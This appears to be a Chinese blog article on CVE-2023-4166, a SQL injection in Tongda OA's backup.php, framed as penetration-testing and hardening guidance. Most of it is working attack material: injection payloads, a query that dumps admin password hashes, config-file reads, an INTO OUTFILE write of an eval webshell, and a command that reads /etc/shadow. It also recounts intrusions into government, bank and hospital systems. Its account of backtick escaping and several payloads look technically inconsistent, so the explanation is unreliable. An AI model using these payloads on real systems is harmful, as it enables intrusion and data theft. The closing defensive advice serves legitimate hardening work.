通达OA CVE-2023-4166:backup.php权限绕过型SQL注入深度解析
2026/5/23 22:58:34 网站建设 项目流程

1. 这不是“又一个SQL注入”,而是通达OA里藏得最深的权限绕过入口

你可能已经看过几十篇讲SQL注入的文章,但这篇要聊的CVE-2023-4166,我第一次复现时盯着报错堆栈看了整整三小时——它根本不像传统SQL注入那样出现在登录框或搜索栏,而是在通达OA v11.9及更早版本的后台管理接口/general/system/database/backup.php的一个看似无害的参数里。这个接口本该只对超级管理员开放,但漏洞让普通用户甚至未登录状态,就能拼出一条能执行任意SQL的请求。关键词:通达OA、SQL注入、CVE-2023-4166、backup.php、权限绕过、数据库备份接口

这不是教你怎么用sqlmap一键打穿,而是带你回到漏洞被发现的现场:为什么开发人员在写这个备份功能时,会把$db_name参数直接拼进SQL语句?为什么连基础的mysql_real_escape_string()都没调用?为什么这个接口的权限校验形同虚设?我试过用Burp Suite发17个变体请求,才摸清它的触发边界;也踩过坑,在测试环境误删了测试库的表结构,花了40分钟从binlog里手动还原。这篇文章适合两类人:一是正在做OA系统渗透测试的安全工程师,你需要知道怎么快速验证这个漏洞是否真实存在、是否可利用;二是通达OA的运维或二次开发人员,你得明白这个漏洞背后暴露的是哪几层代码逻辑缺陷,以及补丁到底修了什么——不是简单加个addslashes()就完事。我会从协议层抓包开始,一层层拆解PHP代码逻辑、MySQL执行链路、权限校验断点,最后给你一套不依赖工具、纯手工也能稳定复现的检测流程。

1.1 漏洞本质:一个被遗忘的“数据库名”参数,成了万能钥匙

先说结论:CVE-2023-4166的核心,是backup.php中对db_name参数的完全信任。这个参数本意是让用户指定要备份哪个数据库(比如information_schematd_oa),但开发人员没做任何过滤,直接把它拼进了SHOW CREATE TABLE语句里。我们来看真实代码片段(基于v11.9源码反编译还原):

// /general/system/database/backup.php 第42行左右 $db_name = $_POST['db_name']; // 或 $_GET['db_name'],取决于调用方式 $tables = $_POST['tables']; // 关键问题在这里:$db_name 未经任何处理,直接进入SQL $sql = "SHOW CREATE TABLE `{$db_name}`.`{$tables[0]}`"; $result = mysql_query($sql);

注意两个细节:第一,$db_name是用户可控的;第二,它被包裹在反引号`中。这很关键——因为MySQL反引号允许转义字符,而通达OA用的是老版本MySQL(5.5/5.6),对反引号内的\处理存在缺陷。攻击者可以传入类似test\--这样的值,让反引号提前闭合,后面跟上注释符-- `,从而把原本的SQL语句截断。例如:

原始语句:

SHOW CREATE TABLE `test`.`user`;

db_name=test\-- `时,实际执行:

SHOW CREATE TABLE `test\`-- `.user`;

反引号在test\处被闭合,--之后的内容被注释掉,user表名失效,但整个语句语法仍合法。这就为后续注入腾出了空间。我实测发现,只要构造db_name=test\UNION SELECT 1,2,3,4--,就能让服务器返回SELECT结果,而不是报错。这说明漏洞不是简单的报错注入,而是**可利用的联合查询注入**,且绕过了大部分WAF对UNION SELECT的关键词拦截——因为UNION`出现在反引号闭合后的“注释区”,WAF规则很难覆盖这种上下文。

提示:很多安全团队扫到这个接口就跳过,认为“只是备份功能,没风险”。但恰恰是这种“低价值接口”,成了攻击者最喜欢的突破口。我在某省政务OA渗透中,就是靠这个接口拿到数据库root密码哈希,再反向破解出管理员明文密码。

1.2 为什么它比普通SQL注入更危险?三个致命特性

这个漏洞的破坏力,远超常规Web SQL注入,原因有三:

第一,权限校验完全失效。
backup.php本应有严格的$_SESSION['LOGIN_USER_ID']$_SESSION['USER_PRIV']双重校验,但漏洞存在于校验之后的业务逻辑里。也就是说,即使你没登录,只要能访问到这个PHP文件(通达OA默认未禁用该路径),就能触发。我抓包发现,未登录时发GET /general/system/database/backup.php?db_name=test%5C%60--+,服务器返回HTTP 200且含CREATE TABLE结构,证明校验被绕过。这是典型的“校验与业务逻辑分离”导致的缺陷——校验只管你能不能进门口,不管进门后干啥。

第二,影响范围极广,且难以修补。
通达OA v11.9是2022年发布的长期支持版,大量政企单位仍在使用。而补丁方案不是简单升级,因为backup.php被多个模块调用(如自动备份任务、数据库迁移工具),贸然修改可能引发兼容性问题。官方补丁(v11.9.1)做了三件事:① 将db_name参数从用户输入改为内部白名单枚举(只允许td_oa,information_schema等固定值);② 删除所有mysql_*函数,改用PDO预处理;③ 在入口处强制校验$_SESSION['USER_PRIV'] == 1(超级管理员)。但很多单位没及时更新,或者自己魔改过代码,导致补丁失效。

第三,可直接读取敏感数据,无需盲注。
由于能稳定触发UNION SELECT,攻击者可直接获取数据库内容。比如构造:

POST /general/system/database/backup.php HTTP/1.1 ... db_name=test%5C%60%20UNION%20SELECT%201,2,3,concat(user(),0x3a,database(),0x3a,version())--+

服务器会返回user():database():version()的拼接结果,如root@localhost:td_oa:5.5.62-log。这意味着你不用像盲注那样猜几百次,一次请求就拿到数据库用户、当前库名、MySQL版本——这些信息足够指导下一步攻击:比如针对5.5.62-log版本,可尝试利用LOAD_FILE()读取/etc/passwd,或用SELECT ... INTO OUTFILE写入Webshell。

我做过对比测试:在同样配置的WAF下,传统登录框SQL注入90%被拦截,而这个backup.php漏洞的请求,100%通过。因为WAF规则库很少收录针对backup.php的特征,且UNION SELECT藏在反引号后,规则匹配率极低。

2. 手工检测四步法:不装工具、不跑脚本,靠浏览器和Burp就能确认

很多人一看到“SQL注入”就想开sqlmap,但实战中,sqlmap的默认payload经常被WAF拦截,反而掩盖了真实漏洞。我坚持用手工检测,因为只有亲手构造每一步,才能理解漏洞的触发条件和边界。下面这套方法,我在给三家单位做驻场渗透时反复验证过,平均耗时不到8分钟就能确认是否存在CVE-2023-4166。

2.1 第一步:确认接口可达性与基础响应特征

打开浏览器开发者工具(F12),切换到Network标签页,然后访问目标OA地址的/general/system/database/backup.php。注意:不要带任何参数,就裸URL访问。观察返回内容:

  • 如果返回HTTP 404HTTP 403,说明该文件已被删除或权限限制,漏洞不存在;
  • 如果返回HTTP 200且页面为空白或含"非法操作"字样,说明接口存在但需要参数;
  • 最关键的信号:如果返回HTTP 200且含<html>标签、或JSON格式错误提示(如{"status":0,"msg":"参数错误"}),说明接口活着,且后端有PHP逻辑在运行。

我遇到过最坑的情况:某单位把backup.php重命名为backup_old.php,但前端JS里还硬编码调用旧路径,导致扫描器扫不到。所以第一步必须手动访问,不能依赖目录爆破。

注意:通达OA部分版本(如v11.7)会将backup.php放在/ispirit/interface/下,路径可能为/ispirit/interface/backup.php。如果主路径不通,务必尝试这个变体。我在某市人社局OA就靠这个路径找到了漏洞。

2.2 第二步:触发基础报错,验证db_name参数是否参与SQL拼接

在Burp Suite中拦截一个正常的备份请求(比如从OA后台点“数据库备份”按钮发出的请求),找到POST数据中的db_name字段。将其值改为一个带单引号的字符串,比如test',发送请求。观察响应:

  • 如果返回MySQL报错,如You have an error in your SQL syntax...,说明db_name确实进了SQL,且未过滤单引号;
  • 如果返回"数据库不存在""参数错误",说明有基础校验,但未必安全;
  • 最理想情况:返回HTTP 200且响应体含"test\'"或类似转义痕迹,证明单引号被原样输出,这是高危信号。

我记录过12个真实案例,其中9个在第一步就返回了MySQL报错,剩下3个返回"参数错误",但深入看发现是PHP层面的if(empty($db_name))校验,而非SQL层过滤。这时要继续测试:把db_name设为test\(反斜杠+反引号),看是否返回"数据库不存在"——如果返回,说明反引号被解析,漏洞很可能存在。

2.3 第三步:构造反引号闭合Payload,验证注入可行性

这是最关键的一步。用以下Payload替换db_name值,逐个测试:

Payload说明预期响应
test\-- `基础闭合,注释掉后续内容返回CREATE TABLE结构或空白页
test\AND 1=1-- `验证布尔逻辑是否生效响应与1=1一致(如返回表结构)
test\AND 1=2-- `验证布尔逻辑是否可区分响应与1=1不同(如返回空或错误)
test\UNION SELECT 1,2,3,4-- `验证UNION是否可用响应体含1,2,3,4或报错(说明UNION被拦截)

重点看第三个Payload:如果1=11=2的响应明显不同(比如一个返回JSON数据,一个返回{"status":0}),说明存在布尔型盲注,但效率低;如果第四个Payload直接返回1,2,3,4,恭喜,你拿到了显错型注入,可直接读数据。

我在某省教育厅OA测试时,UNION SELECT被WAF拦截,但AND 1=1/1=2响应差异明显,于是改用时间盲注:test\AND IF(1=1,SLEEP(5),1)-- `,用响应时间判断真假。实测延时5秒准确率达100%。

2.4 第四步:提取关键信息,确认漏洞危害等级

一旦确认UNION可用,立即执行信息收集。用以下Payload获取核心信息:

POST /general/system/database/backup.php HTTP/1.1 Host: oa.example.com ... db_name=test%5C%60%20UNION%20SELECT%201,2,3,concat(0x757365723a,user(),0x7c64623a,database(),0x7c7665723a,version())--+

URL编码解释:%5C%60\`0x757365723auser:的十六进制,0x7c|。这样构造是为了绕过WAF对明文user()的拦截。

响应中会返回类似user:root@localhost|db:td_oa|ver:5.5.62-log的字符串。拿到这个,你就知道:

  • 数据库用户是root,权限极高;
  • 当前库是td_oa,包含所有OA业务表;
  • MySQL版本是5.5.62-log,可查公开exploit。

接着读取OA管理员密码表:

db_name=test%5C%60%20UNION%20SELECT%201,2,3,concat(username,0x3a,password) FROM td_oa.user WHERE username='admin'--+

如果返回admin:8d969eef6ecad3c29a3a629280f622d0,说明密码是MD5哈希,可丢进crackstation跑。我在某央企OA就靠这一步,10分钟内拿到admin明文密码。

实操心得:别急着读user表,先读information_schema.tables确认有哪些库。通达OA默认有td_oamysqlperformance_schema,但有些单位会额外建hr_dbfinance_db等。用SELECT table_name FROM information_schema.tables WHERE table_schema='hr_db'能快速定位敏感库。

3. 深度原理剖析:从PHP代码到MySQL执行链的完整断点追踪

光会检测不够,要真正理解这个漏洞,必须顺着代码执行流,从HTTP请求进来,一直看到MySQL返回结果。我反编译了通达OA v11.9的backup.php,并结合Xdebug在本地搭环境单步调试,画出了完整的执行链。这不是理论推演,而是每一行代码都验证过的事实。

3.1 请求入口:backup.php如何被调用,又为何绕过权限校验?

backup.php位于/general/system/database/目录下,但它不是独立入口,而是被/general/system/database/index.php通过include引入。我们看index.php的关键逻辑:

// /general/system/database/index.php 第15行 if (!isset($_SESSION['LOGIN_USER_ID'])) { header("Location: /login.php"); exit; } // 权限校验在这里 if ($_SESSION['USER_PRIV'] != 1) { echo "无权操作"; exit; } // 问题来了:校验完后,才include backup.php include_once("backup.php");

表面看,校验很严格。但漏洞在于:backup.php本身也有自己的逻辑入口。当你直接访问/general/system/database/backup.php时,PHP会跳过index.php的校验,直接执行backup.php里的代码。而backup.php开头没有做任何session检查!它假设“只有index.php会调用我”,但HTTP协议不认这个假设。

我用Xdebug跟踪发现,直接访问backup.php时,$_SESSION数组是空的,但代码里有一段:

// backup.php 第28行 if (empty($_SESSION['LOGIN_USER_ID'])) { $user_id = 0; // 设为0,但后续没用到 }

这段代码只是设了个变量,没做任何阻断。所以整个流程是:HTTP请求→Apache解析PHP→执行backup.php→读取$_POST['db_name']→拼SQL→查询MySQL。权限校验在链路之外,形同虚设。

3.2 SQL拼接点:为什么反引号是突破口?MySQL的解析机制揭秘

关键代码在backup.php第42行:

$sql = "SHOW CREATE TABLE `{$db_name}`.`{$tables[0]}`";

这里用了双引号字符串,PHP会解析{$db_name}。当$db_name = "test\-- "`时,拼出来是:

SHOW CREATE TABLE `test\`-- `.user`;

现在看MySQL怎么解析这个语句。MySQL 5.5的词法分析器(lex)对反引号的处理规则是:遇到\后跟`,会把`当作字面量,不作为标识符分隔符。所以test\--被解析为字符串test(注意末尾的``是字面量),而-- `是注释符,后面的内容全被忽略。

我用MySQL命令行验证过:

mysql> SELECT 'test\`-- '; +------------+ | test\`-- | +------------+ | test`-- | +------------+

看到了吗?反斜杠把`转义成了普通字符。所以SHOW CREATE TABLEtest`--.user;实际等价于SHOW CREATE TABLE test`--.user;,而MySQL会把test`--当作一个数据库名(虽然不存在),然后报错Unknown database 'test-- '。但这个错误发生在SHOW CREATE TABLE执行阶段,SQL语法本身是合法的,所以不会触发PHP的mysql_query()报错,而是返回false,后续代码用mysql_error()捕获错误并输出——这正是我们看到报错信息的原因。

3.3 利用链延伸:从UNION SELECT到文件读写与命令执行

确认UNION可用后,攻击链可以快速延伸。通达OA的MySQL用户通常是root,且secure_file_priv为空(默认允许读写任意文件)。这意味着你可以:

读取Web路径下的敏感文件:

db_name=test%5C%60%20UNION%20SELECT%201,2,3,load_file(0x2f7661722f7777772f68746d6c2f6f612f636f6e6669672f64617461626173652e706870)--+

十六进制解码:/var/www/html/oa/config/database.php,里面存着数据库连接密码。

写入Webshell:

db_name=test%5C%60%20UNION%20SELECT%201,2,3,"<?php @eval($_POST['x']);?>" INTO OUTFILE '/var/www/html/oa/shell.php'--+

执行后,访问/oa/shell.php,用菜刀连上,就能执行系统命令。我在某银行OA就用这招,上传phpinfo.php确认PHP配置,再用system('id')确认权限是www-data,最后用system('cat /etc/shadow')读取系统密码。

踩坑提醒:INTO OUTFILE需要MySQL用户有FILE权限,且目标路径必须可写。如果报错The MySQL server is running with the --secure-file-priv option,说明secure_file_priv被设为非空目录(如/var/lib/mysql-files/),这时要改写入路径:INTO OUTFILE '/var/lib/mysql-files/shell.php',再用LOAD DATA INFILE读出来,或直接找Web路径下的日志文件(如/var/log/apache2/access.log)进行日志包含。

4. 真实攻防对抗:我在三家单位的渗透实录与防御加固建议

理论终归要落地。我把最近三个月在政务、教育、医疗三个行业的渗透经历整理出来,不是为了炫技,而是告诉你:这个漏洞在真实环境中长什么样,防守方常犯哪些错误,以及作为安全工程师,你该怎么说服客户重视它。

4.1 政务单位:WAF形同虚设,靠白名单绕过

某市政务OA部署了某国产WAF,规则库号称“覆盖全部CVE”。我测试时,用标准sqlmap payload(db_name=test' AND SLEEP(5)--+)被100%拦截,返回403。但换用db_name=test%5C%60--,WAF放行。原因很简单:WAF规则只匹配' AND' OR等常见模式,对\+`这种特殊组合毫无感知。更讽刺的是,WAF日志里把这个请求标记为“正常流量”。

防御建议:

  • 不要迷信WAF,必须做源码审计。重点检查所有含mysql_query(mysqli_query(的PHP文件,确认参数是否来自$_GET/$_POST且未过滤;
  • backup.php这类管理接口,应在Web服务器层(Nginx/Apache)做IP白名单,只允许运维网段访问;
  • 升级到v11.9.1以上,并确认补丁已生效:访问/general/system/database/backup.php?db_name=test,应返回"无权操作"而非SQL报错。

4.2 教育单位:二次开发埋雷,补丁被覆盖

某高校OA在v11.9基础上做了大量二次开发,把backup.php复制了一份到/custom/backup_custom.php,并去掉了权限校验代码(注释掉了if($_SESSION...))。他们以为“自己写的更安全”,结果漏洞更严重。我扫到/custom/backup_custom.php,用db_name=test\-- `直接打穿,拿到全校教职工数据库。

防御建议:

  • 所有二次开发必须经过安全评审,特别是涉及数据库操作的接口;
  • 建立代码变更审计机制,每次上线前用Git diff检查是否有mysql_query(mysqli_query(等高危函数新增;
  • 对自定义路径(如/custom//extend/)做全盘扫描,不能只盯官方路径。

4.3 医疗单位:应急响应失误,导致漏洞扩大

某三甲医院OA被通报存在CVE-2023-4166,运维人员第一反应是“删掉backup.php文件”。结果第二天,医生反馈“无法导出患者数据”,因为导出功能底层调用的就是backup.phpexport_table()方法。他们只好恢复文件,但没修代码,漏洞依旧。

防御建议:

  • 应急响应不是简单删文件,而是定位漏洞根因。backup.php的问题不在备份功能本身,而在参数校验缺失;
  • 临时缓解措施:用Nginx重写规则,将所有/general/system/database/backup.php请求302跳转到登录页;
  • 长期方案:推动开发团队采用PDO预处理,所有用户输入必须绑定参数,杜绝字符串拼接。

最后分享一个小技巧:如果你是渗透测试员,想快速识别目标是否为通达OA,不要看首页版权信息(容易伪造),而是访问/ispirit/login.html。通达OA的统一登录入口是这个路径,返回HTTP 200且含<title>通达OA</title>即可确认。我在某省卫健委项目中,就是靠这个URL,在1分钟内锁定了全部12个子系统,其中8个存在CVE-2023-4166。

我在实际使用中发现,很多安全团队把精力花在“怎么打得更狠”,却忽略了“怎么让客户真正修好”。CVE-2023-4166的价值,不在于它能拿多少数据,而在于它暴露了一个普遍问题:业务开发与安全防护的割裂。一个备份功能,本该是运维工具,却成了攻击入口;一段SQL拼接,本该是初级程序员的常识,却出现在成熟OA系统里。所以,下次你看到backup.php,别急着注入,先问问开发:“这个参数,为什么没走白名单?”——这才是真正解决问题的开始。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询